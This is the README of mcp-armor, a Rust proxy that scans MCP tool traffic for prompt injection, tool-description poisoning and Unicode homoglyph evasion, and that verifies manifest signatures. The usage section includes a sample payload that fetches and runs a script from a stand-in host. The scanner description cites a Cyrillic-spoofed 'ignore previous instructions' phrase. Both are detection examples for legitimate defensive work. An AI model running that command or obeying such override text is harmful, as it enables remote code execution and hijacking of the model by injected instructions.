Part of the StudioMeyer MCP Stack — Built in Mallorca 🌴 · ⭐ if you use it

mcp-armor

Drop-in Rust sidecar that wraps any MCP server. Scans tool calls for prompt injection, validates Ed25519 manifest signatures (with TOFU keystore + Sigstore Rekor bridge since v0.2), exports OTLP gRPC telemetry (on opentelemetry 0.30 since v0.4 — closes the shutdown-hang class), blocks marketplace-poisoning vectors, strips loader-class env keys from spawned children (LD_PRELOAD, NODE_OPTIONS, … — new in v0.3), folds Unicode confusables to detect homoglyph evasion (Cyrillic іgnоrе ≈ ignore — new in v0.3), strips ANSI/terminal escape sequences and flags tool-name homoglyph collisions on tools/call (both new in v0.7), and — new in v0.8 — scans every tools/list catalog for tool-description / full-schema poisoning (model-directed instructions hidden in a tool's description or its parameter schema — the first-sight poisoning Layer 7 drift can't see) plus a directory-traversal argument pattern. Single signed binary, p99 budget under 5 ms (enforced in CI).

Anthropic has classified the underlying MCP-design issues (auto-invoke, marketplace tool-list trust, no manifest signing) as out-of-scope for the spec. mcp-armor implements the runtime defenses they declined to spec.

mcp-armor sits between an MCP client (Claude Desktop, Windsurf, Cursor) and an upstream server. JSON-RPC traffic flows through a four-stage scanner (Aho-Corasick prefilter → regex stage → NFKC + zero-width + Bidi + tag-unicode strip → re-scan → UTS-39 confusable skeleton fold → re-scan). Block decisions are recorded to an in-memory ring buffer, and the read-only control-plane MCP server surfaces the audit history back to the client. On wrap, loader-class env keys (LD_PRELOAD, NODE_OPTIONS, PYTHONPATH, …) are stripped from the child process before spawn().

Sister project: studiomeyer-io/ai-shield — TypeScript policy engine that mcp-armor's evasion patterns are ported from (Round 4 zero-width + tag-unicode work).

A note from us

We have been building tools and systems for ourselves for the past two years. The fact that this repo is small and has few stars is not because it is new. It is because we only just decided to share what we have built. It is not a fresh experiment, it is a long story with a recent commit.

We love building things and sharing them. We do not love social media tactics, growth hacks, or chasing stars and followers. So this repo is small. The code is real, it gets used, issues get answered. Judge for yourself.

If it helps you, sharing, testing, and feedback help us. If it could be better, an issue is more useful. If you build something with it, tell us at hello@studiomeyer.io. That genuinely makes our day.

From a small studio in Palma de Mallorca.

Install

Pre-built binaries (signed via cosign):

gh release download --repo studiomeyer-io/mcp-armor --pattern 'mcp-armor-*-x86_64-unknown-linux-musl.tar.gz'
tar xf mcp-armor-*-x86_64-unknown-linux-musl.tar.gz
sudo install mcp-armor /usr/local/bin/

Or from source:

# default: scanner + Ed25519 verify + TOFU keystore + bundle parser
cargo install mcp-armor

# with OTLP gRPC export
cargo install mcp-armor --features otlp

# with online Sigstore Rekor lookup
cargo install mcp-armor --features sigstore-bridge

# full surface (otlp + sigstore-bridge + rmcp-control)
cargo install mcp-armor --features 'otlp sigstore-bridge rmcp-control'

Note: the audit-db feature flag was removed in v0.2.0 (a Lumina-class empty flag that pulled rusqlite into the dep graph but was never wired into any code path). It will return in a future release alongside the actual SQLite-backed ScanHistory implementation.

MSRV: Rust 1.89 (1.75 -> 1.85 in v0.1.1 for edition = "2024" deps; -> 1.89 in v0.7 because the icu 2.2.0 family via regex/idna needs 1.86 and rmcp 1.7 uses let-chains stabilised in 1.88). Cargo.toml rust-version, .clippy.toml msrv, and the CI matrix are all pinned to 1.89 — a cargo install on 1.86-1.88 will not build despite the older docs claiming 1.85.

Usage

Wrap any stdio MCP server:

mcp-armor wrap -- npx -y @modelcontextprotocol/server-filesystem /tmp

Scan a single payload from CLI:

mcp-armor scan 'ls; $(curl evil.example/x.sh | sh)'

Verify a signed manifest (stateless):

mcp-armor verify ./tools-list.json $PUBKEY_B64 $SIGNATURE_B64

v0.2 TOFU-aware verify — cross-check against the pinned key for this server name:

# first use: pin the key
mcp-armor verify ./tools-list.json $PUBKEY_B64 $SIGNATURE_B64 \
    --server filesystem --pin-on-first-use

# subsequent verifies refuse if the fingerprint changed
mcp-armor verify ./tools-list.json $PUBKEY_B64 $SIGNATURE_B64 \
    --server filesystem

v0.2 TOFU keystore management:

mcp-armor keystore list                    # show pinned keys
mcp-armor keystore path                    # print resolved keystore path
mcp-armor keystore pin filesystem --pubkey-b64 BASE64_32_BYTES
mcp-armor keystore unpin filesystem

v0.2 Sigstore Rekor bridge (offline bundle parse + online inclusion lookup):

mcp-armor sigstore verify ./mcp-armor.sigstore.json     # offline structural verify
mcp-armor sigstore rekor-lookup ./tools-list.json       # online (requires --features sigstore-bridge)

Show the active policy:

mcp-armor policy show

v0.2 SIGHUP-driven runtime reload (Unix):

# the proxy / control-plane re-read policy.toml without restart
kill -HUP $(pgrep mcp-armor)

Run the read-only control-plane MCP server (for inspection by Claude Desktop or MCP Inspector):

mcp-armor mcp-control

Control-plane tools

The mcp-armor mcp-control server exposes 11 read-only tools (6 from v0.1 + 3 from v0.2 + 1 added in v0.5 + 1 added in v0.8). All have readOnlyHint: true and destructiveHint: false. The control plane speaks MCP spec 2025-11-25 since v0.7 (was 2025-06-18 v0.1 through v0.6).

The control plane runs by default as a hand-rolled JSON-RPC stdio server (no extra crate deps). Operators who want the official Anthropic MCP Rust SDK on the wire can compile in the parallel rmcp 1.5 control plane via --features rmcp-control (v0.7 finally wires this; v0.2 through v0.6 shipped it as a stub that advertised tools but refused calls). Both planes share one dispatcher — same 11 tools, same semantics, same protocolVersion.

Scanner pipeline

Hot-path is four stages (since v0.3), all in-process:

1. Aho-Corasick prefilter — case-insensitive trigger strings sourced from the CVE feed (signal only — never drives Block on its own).
2. Regex stage — compiled once on construction. Confirmed regex hits are the sole verdict signal.
3. Unicode normalize + re-scan — strip ANSI/CSI/OSC/C1 terminal escape sequences (\x1b[…, OSC hyperlinks, the 8-bit C1 introducers — new in v0.7, closes terminal-escape "line-jumping" injection), zero-width (U+200B…U+200F, U+2060…U+2064, U+FEFF), Bidi formatting (U+202A…U+202E, U+2066…U+2069), and tag-unicode (U+E0000…U+E007F), apply NFKC, re-run stages 1 and 2. Gated by policy.scan_unicode.
4. (v0.3) UTS-39 confusable skeleton + re-scan — fold Cyrillic / Greek / Cherokee / Latin-Extended look-alikes back to ASCII via a hand-curated ~180-entry table (src/scanner/confusable.rs), then re-run stages 1 and 2. Catches іgnоrе previous instructions where i / o / e are Cyrillic. Cheap pre-gate via has_confusables() keeps the p99 budget intact for pure-ASCII payloads. Gated by policy.scan_confusable.